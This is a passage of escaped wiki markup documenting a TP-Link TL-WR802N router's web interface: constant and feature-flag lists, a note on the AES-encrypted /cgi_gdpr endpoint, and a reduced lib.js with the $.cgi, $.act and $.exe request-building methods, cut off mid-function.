var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Dynamic Parameters &lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=0&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_SNMP&lt;br /&gt;
var INCLUDE_RIP=1&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB=1&lt;br /&gt;
var INCLUDE_USB_STORAGE=1&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER=1&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE=1&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin: 5px 0&amp;quot;&amp;gt;The previously introduced concept varies a little bit on the newer firmware, which uses &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; in addition to &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;. In this scenario the payload gets AES encrypted before transmitting. The generic &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; calls are still used, but most calls need to be encrypted. This is done by setting the new &amp;lt;code&amp;gt;$.exe(hook, unerr, securityLevel)&amp;lt;/code&amp;gt; parameter &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt; to 1, to enable encryption.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N FW190428&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
			if (!type || !oid)&lt;br /&gt;
				return false;&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
			var ret = null;&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr, securityLevel) {&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			var tmpdata = &amp;quot;&amp;quot;;&lt;br /&gt;
			&lt;br /&gt;
			if( INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; securityLevel != 0)&lt;br /&gt;
			{&lt;br /&gt;
				&lt;br /&gt;
				try{&lt;br /&gt;
					url=&amp;quot;/cgi_gdpr?&amp;quot;;&lt;br /&gt;
				}&lt;br /&gt;
				catch(e)&lt;br /&gt;
				{&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if(INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; url.match(&amp;quot;/cgi_gdpr&amp;quot;) != null)&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					//url = &amp;quot;/cgi&amp;quot;;&lt;br /&gt;
					tmpdata += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					//url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
				tmpdata = tmpdata.substr(0, tmpdata.length - 1);&lt;br /&gt;
				tmpdata = tmpdata + &amp;quot;\r\n&amp;quot;+data;&lt;br /&gt;
				data = tmpdata;&lt;br /&gt;
			}&lt;br /&gt;
			else&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
			}		&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
